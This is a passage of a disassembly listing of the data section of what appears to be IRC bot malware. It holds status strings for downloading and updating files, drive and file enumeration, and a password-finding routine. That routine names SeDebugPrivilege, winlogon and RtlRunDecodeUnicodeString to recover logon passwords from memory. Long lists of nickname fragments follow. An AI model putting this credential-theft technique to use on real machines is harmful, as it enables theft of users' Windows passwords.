6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_437E78 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_437EA0 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437EF0 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437EF4 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437F08 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437F44 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437FF0 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_438024 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438050 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_438088 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_4380E4 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_4380FC dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_4381C0 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_43820C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_43825C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_4382B0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" dd offset dword_438E5C dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset dword_438E58 dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_0 ; "s" dd offset aD ; "d" dd offset dword_438E54 dd offset dword_438E50 dd offset dword_438E4C dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438E48 dd offset dword_438E44 dd offset dword_438E40 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438E3C dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438E38 dd offset dword_438E34 dd offset dword_438E30 dd offset dword_438E2C dd offset dword_438E28 dd offset word_438E24 dd offset dword_438E20 dd offset aI_0 ; "I" dd offset dword_438E1C dd offset dword_438E18 dd offset aA_0 ; "A" dd offset dword_438E14 dd offset dword_438E10 dd offset dword_438E0C dd offset dword_438E08 dd offset dword_438E04 dd offset dword_438E00 dd offset dword_438DFC dd offset dword_438DF8 dd offset dword_438DF4 dd offset dword_438DF0 dd offset dword_438DEC dd offset dword_438DE8 dd offset dword_438DE4 dd offset word_438DE0 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_438B78 dd offset off_438B74 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_4389E0 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_4385B0 dd offset aSex ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438E3C dd offset aC ; "c" dd offset aD ; "d" dd offset aE ; "e" dd offset dword_438E54 dd offset dword_438E50 dd offset dword_438E4C dd offset aI ; "i" dd offset dword_42BBBC dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438E48 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_438E5C dd offset dword_438E40 dd offset dword_438E58 dd offset dword_438E44 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438E44 dd offset dword_438E50 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438800 dd offset aBbl ; "|bbl" dd offset dword_43D7D8 dd offset dword_43D7D8 dd offset a___0 ; "_|_" dd offset dword_43D7D8 dd offset dword_43D7D8 dd offset dword_43D7D8 dd offset dword_43D7D8 dd offset dword_438E0C dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438E3C dd offset dword_43D7D8 dd offset aSleeping ; "Sleeping" dd offset dword_43D7D8 dd offset dword_43D7D8 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D7D8 dd offset dword_43D7D8 dd offset dword_438DF0 dd offset dword_43D7D8 dd offset off_4387C0 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438780 dd offset dword_43877C dd offset dword_438774 dd offset dword_438768 dd offset dword_438760 dd offset dword_438758 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dword_438748 dd 7536h ; DATA XREF: ___:00438744o dword_43874C dd 7535h ; DATA XREF: ___:00438740o dword_438750 dd 7C75347Ch, 0 ; DATA XREF: ___:0043873Co dword_438758 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438738o dword_438760 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438734o dword_438768 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438730o ; Themida_:005477F9o dword_438774 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043872Co dword_43877C dd 6C6F6Ch ; DATA XREF: ___:00438728o dword_438780 dd 746F74h ; DATA XREF: ___:00438724o aMofo db 'mofo',0 ; DATA XREF: ___:00438720o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043871Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438718o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438714o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438710o aShit db 'shit',0 ; DATA XREF: ___:0043870Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438708o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438704o align 10h off_4387C0 dd offset word_594F42 ; DATA XREF: ___:00438700o aFree db 'Free',0 ; DATA XREF: ___:004386ECo align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:004386E8o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:004386DCo align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:004386D0o align 4 aSad db 'Sad',0 ; DATA XREF: ___:004386CCo aLuvu db 'LUVU',0 ; DATA XREF: ___:004386C8o align 4 a___0 db '_|_',0 ; DATA XREF: ___:004386ACo aBbl db '|bbl',0 ; DATA XREF: ___:004386A0o align 10h off_438800 dd offset loc_425242 ; DATA XREF: ___:0043869Co aMuckc db 'muckc',0 ; DATA XREF: ___:00438688o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438684o align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438680o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:0043867Co align 4 aUi db 'ui',0 ; DATA XREF: ___:00438678o align 4 aSdf db 'sdf',0 ; DATA XREF: ___:00438674o aRt db 'rt',0 ; DATA XREF: ___:00438670o align 10h aGf db 'gf',0 ; DATA XREF: ___:0043866Co align 4 aTy db 'ty',0 ; DATA XREF: ___:00438668o align 4 aRg db 'rg',0 ; DATA XREF: ___:00438664o align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438660o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438640o align 4 aQ8A db '|q8|a',0 ; DATA XREF: ___:004385F8o align 10h aQ8 db 'Q8',0 ; DATA XREF: ___:004385F4o align 4 aSick db 'sick}}',0 ; DATA XREF: ___:004385F0o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:004385ECo aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:004385E8o align 10h aGens db '{gens|',0 ; DATA XREF: ___:004385E4o align 4 aSex_0 db '{sex}',0 ; DATA XREF: ___:004385E0o align 10h aHub db '{hub}',0 ; DATA XREF: ___:004385DCo align 4 aLuck db '|luck|',0 ; DATA XREF: ___:004385D8o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:004385D4o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:004385D0o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:004385CCo align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:004385C8o aLag db 'lag',0 ; DATA XREF: ___:004385C4o aBad db 'bad',0 ; DATA XREF: ___:004385C0o aTree db 'tree',0 ; DATA XREF: ___:004385BCo align 10h aZex db 'zex',0 ; DATA XREF: ___:004385B8o aLez db 'lez',0 ; DATA XREF: ___:004385B4o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:004385ACo align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:004385A8o align 10h aAdamm db 'ADAMM',0 ; DATA XREF: ___:004385A4o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:004385A0o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:0043859Co align 10h aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438598o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438594o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438590o align 10h aCem39 db 'cem39',0 ; DATA XREF: ___:0043858Co align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00438588o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438584o align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438580o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:0043857Co align 4 aUla db 'ula',0 ; DATA XREF: ___:00438578o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438574o aAkden db 'akden',0 ; DATA XREF: ___:00438570o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:0043856Co align 10h aAta29 db 'Ata29',0 ; DATA XREF: ___:00438568o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00438564o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438560o aM41ist db 'M41IST',0 ; DATA XREF: ___:0043855Co align 10h aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438558o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438554o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438550o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:0043854Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438548o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00438544o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00438540o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:0043853Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438538o align 10h off_4389E0 dd offset byte_4B5245 ; DATA XREF: ___:00438534o aSevda db 'sevda',0 ; DATA XREF: ___:00438530o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:0043852Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438528o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:00438524o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00438520o align 10h aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:0043851Co align 4 aHayran db 'hayran',0 ; DATA XREF: ___:00438518o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00438514o align 10h aAnkar db 'Ankar',0 ; DATA XREF: ___:00438510o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:0043850Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00438508o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:00438504o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00438500o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004384FCo align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004384F8o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004384F4o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004384F0o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004384ECo align 10h aAykut1 db 'aykut1',0 ; DATA XREF: ___:004384E8o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:004384E4o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:004384E0o aHoly db 'holy',0 ; DATA XREF: ___:004384DCo align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:004384D8o align 10h aKebikec db 'kebikec',0 ; DATA XREF: ___:004384D4o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:004384D0o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:004384CCo align 10h aEmre db 'Emre--',0 ; DATA XREF: ___:004384C8o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004384C4o align 10h aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004384C0o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:004384BCo align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:004384B8o align 10h aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:004384B4o aArda db 'arda',0 ; DATA XREF: ___:004384B0o align 4 aDevran db 'devran',0 ; DATA XREF: ___:004384ACo align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:004384A8o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:004384A4o align 10h aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:004384A0o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:0043849Co align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00438498o align 10h aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00438494o align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438490o align 4 off_438B74 dd offset byte_457441 ; DATA XREF: ___:0043848Co dword_438B78 dd 414C5941h, 2Dh ; DATA XREF: ___:00438488o aAlbina db 'albina',0 ; DATA XREF: ___:00438484o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438480o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:0043847Co align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438478o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00438474o align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438470o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:0043846Co align 10h aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438468o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:00438464o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438460o align 10h aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:0043845Co aAslii db 'aslii',0 ; DATA XREF: ___:00438458o align 10h aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00438454o aHaticem db 'haticem',0 ; DATA XREF: ___:00438450o aArzu db 'ARZU',0 ; DATA XREF: ___:0043844Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438448o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00438444o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438440o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:0043843Co align 10h aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438438o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:00438434o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00438430o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:0043842Co align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:00438428o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:00438424o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438420o aMisssunday db 'misssunday',0 ; DATA XREF: ___:0043841Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00438418o align 10h aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00438414o align 10h aBerk19 db 'berk19',0 ; DATA XREF: ___:00438410o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:0043840Co align 10h aErkan27 db 'erkan27',0 ; DATA XREF: ___:00438408o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00438404o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00438400o align 10h aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004383FCo align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004383F8o aReshma db 'reshma',0 ; DATA XREF: ___:004383F4o align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004383F0o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004383ECo align 4 aImra db 'imra',0 ; DATA XREF: ___:004383E8o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:004383E4o align 10h aPuregold db 'puregold',0 ; DATA XREF: ___:004383E0o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:004383DCo align 4 aManee db 'manee',0 ; DATA XREF: ___:004383D8o align 4 aTroller db 'troller',0 ; DATA XREF: ___:004383D4o aLuisa db 'Luisa',0 ; DATA XREF: ___:004383D0o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:004383CCo align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:004383C8o align 10h aJanno db 'janno',0 ; DATA XREF: ___:004383C4o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:004383C0o align 10h aHeval db 'heval',0 ; DATA XREF: ___:004383BCo align 4 aCme db 'cme',0 ; DATA XREF: ___:004383B8o aMarcy db 'marcy',0 ; DATA XREF: ___:004383B4o align 4 aTalika db 'talika',0 ; DATA XREF: ___:004383B0o align 4 aShez db 'Shez',0 ; DATA XREF: ___:004383ACo align 4 aKen db 'ken',0 ; DATA XREF: ___:004383A8o aFlexster db 'flexster',0 ; DATA XREF: ___:004383A4o align 4 aKoko db 'koko',0 ; DATA XREF: ___:004383A0o align 4 aMale db 'male',0 ; DATA XREF: ___:0043839Co align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438398o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00438394o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438390o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:0043838Co align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438388o align 10h aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00438384o aFarooq db 'farooq',0 ; DATA XREF: ___:00438380o align 10h aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:0043837Co align 4 aM_0: ; DATA XREF: ___:00438378o ; ___:004386C4o unicode 0, <M>,0 word_438DE0 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00438374o align 4 dword_438DE4 dd 42h ; DATA XREF: ___:00438370o dword_438DE8 dd 56h ; DATA XREF: ___:0043836Co dword_438DEC dd 43h ; DATA XREF: ___:00438368o dword_438DF0 dd 58h ; DATA XREF: ___:00438364o ; ___:004386F8o dword_438DF4 dd 5Ah ; DATA XREF: ___:00438360o dword_438DF8 dd 4Ch ; DATA XREF: ___:0043835Co dword_438DFC dd 4Bh ; DATA XREF: ___:00438358o dword_438E00 dd 